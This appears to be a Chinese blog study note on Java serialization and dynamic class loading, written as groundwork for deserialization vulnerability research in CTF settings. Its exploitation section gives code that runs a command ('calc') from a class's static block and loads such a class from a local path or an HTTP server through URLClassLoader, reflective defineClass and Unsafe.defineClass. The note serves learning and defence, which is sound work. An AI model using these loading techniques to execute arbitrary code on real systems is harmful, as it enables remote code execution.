java序列化基础知识
Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)_哔哩哔哩_bilibili
随便写个类
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TKIZlcI3-1649662374011)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220410173136861.png)]
直接对他System.out.println(test);
的话是这个效果
为了更加直观,我们给他加个魔术方法__tostring
public String toString(){
System.out.println("OneClass{");
System.out.println("public apple:"+this.apple);
System.out.println("static banana:"+this.banana);
System.out.println("protected pear:"+this.pear);
System.out.println("private grapes:"+this.grapes);
System.out.println("public transient gold:"+this.gold);
return "}";
}
new一个试试
序列化反序列化都需要编写如下的函数
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
//用于序列化
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
//用于反序列化
调用
serialize(test);
unserialize("ser.bin");
被序列化的类必须继承序列化接口
测试代码
继承后:
public class OneClass implements Serializable
注意的点:
- 静态的属性不可以被序列化
- transeint关键字修饰的不可以被序列化
测试代码
OneClass.java
package org.apache.commons.collections;
import java.io.Serializable;
public class OneClass implements Serializable
{
public String apple;
public static String banana;
protected String pear;
private String grapes;
public transient String gold;
public OneClass(){
}
public OneClass(String apple,String bannana,String pear,String grapes,String gold){
this.apple = apple;
this.banana = bannana;
this.pear = pear;
this.grapes = grapes;
this.gold = gold;
}
public String toString(){
System.out.println("OneClass{");
System.out.println("public apple:"+this.apple);
System.out.println("static banana:"+this.banana);
System.out.println("protected pear:"+this.pear);
System.out.println("private grapes:"+this.grapes);
System.out.println("public transient gold:"+this.gold);
return "}";
}
}
ccone.java
package org.apache.commons.collections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.rmi.CORBA.Tie;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class ccone {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
OneClass test = new OneClass("apple1", "banana2", "pear3", "grapes4", "gold");
// System.out.println(test);
serialize(test);
System.out.println(unserialize("ser.bin"));
}
}
但是这个static好像赋值附上去了,不懂
transient如果想要赋值的话,想要让他反序列化后能出现我们原本赋予的值,则需要重写readObject
参考vnctf的easyJava
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a1IDND1X-1649662374017)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220410181801262.png)]
java的动态加载
参考类的动态加载 - Java反序列化 - CTF知识点 | mikufans = (viewofthai.link)
类加载与反序列化
类加载的时候会执行代码
- 初始化:
静态代码块
- 实例化:
构造代码块 、 构造函数
动态类加载方法
-
Class.forname 可以初始化也可以不初始化
-
ClassLoader.loadClass 不进行初始化
测试
Person类
package org.apache.commons.collections;
public class Person {
private String name;
static int age;
Person(){
System.out.println("无参构造方法");
}
static void staticfunc(){
System.out.println("静态方法");
}
static {
System.out.println("静态代码块");
}
{
System.out.println("构造代码块");
}
}
main
public static void main(String[] args) throws Exception {
Person person = new Person();
}
而
Person.staticfunc();
结论:类在new(实例化)的时候 无参构造方法,构造代码块,无参构造方法都会被调用,如果使用了静态方法,静态代码块也会被调用
测试
Class.forName("Person");
如果报错classnotfound的话记得加上包名
Class.forName("org.apache.commons.collections.Person");
了解一下forname,跟进
这里设置了个caller,调用了forName0,
跟进
private static native Class<?> forName0(String name, boolean initialize,
ClassLoader loader,
Class<?> caller)
throws ClassNotFoundException;
然后发现上面还有个forname
这个功能相对完整
阅读后,我们尝试不
Class.forName("org.apache.commons.collections.Person",false,ClassLoader.getSystemClassLoader());
newInstance的时候都加载了
ClassLorder
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CUp2ytzp-1649662374026)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220410213520352.png)]
双亲委派机制
ClassLoader abc = ClassLoader.getSystemClassLoader();
Class<?> a = abc.loadClass("org.apache.commons.collections.Person");
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ohJsMx6u-1649662374028)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220410213956650.png)]
可以看到我们的loadClass并没有初始化
跟进loadClass
可以看到父类加载的一个递归程序的写法
这里感兴趣的同学可以参考@miku233师傅的(●´3`●)やれやれだぜ (viewofthai.link),跟着他xdebug调一下
利用
URLClassLoader
test.java
import java.io.IOException;
public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
命令行里面
javac test.java
生成test.class,把它放到D盘
或者是在idea里面new一个class文件,然后main函数里面在new这个类,最后跑去把class文件复制出来(推荐)
main
package org.apache.commons.collections;
import java.net.URL;
import java.net.URLClassLoader;
public class exp {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\")});
Class<?> test = urlClassLoader.loadClass("org.apache.commons.collections.test");
test.newInstance();
}
}
没有包名的话是这个 Class<?> test = urlClassLoader.loadClass(“test”);
放在服务器上开启http服务python -m http.server 7878
demo
package org.apache.commons.collections;
import java.net.URL;
import java.net.URLClassLoader;
public class exp {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:7878")});
Class<?> test = urlClassLoader.loadClass("org.apache.commons.collections.test");
test.newInstance();
}
}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8gA8x48y-1649662374032)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220410222639593.png)]
ClassLoader.defineClass加载
package org.apache.commons.collections;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class exp {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\test.class"));
Class c = (Class) method.invoke(classLoader, "org.apache.commons.collections.test", code, 0, code.length);
c.newInstance();
}
}
ClassLoader.class.getDeclaredMethod(“defineClass”, String.class, byte[].class, int.class, int.class);
byte[] code = Files.readAllBytes(Paths.get(“D:\test.class”));
上面是关键代码
Unsafe.definedclass加载
demo
package org.apache.commons.collections;
import sun.misc.Unsafe;
import java.io.File;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
public class exp {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] code = Files.readAllBytes(Paths.get("D:\\test.class"));
Class c = Unsafe.class;
Field theUnsafe = c.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Class c2 = (Class) unsafe.defineClass("org.apache.commons.collections.test", code, 0, code.length, classLoader, null);
c2.newInstance();
}
}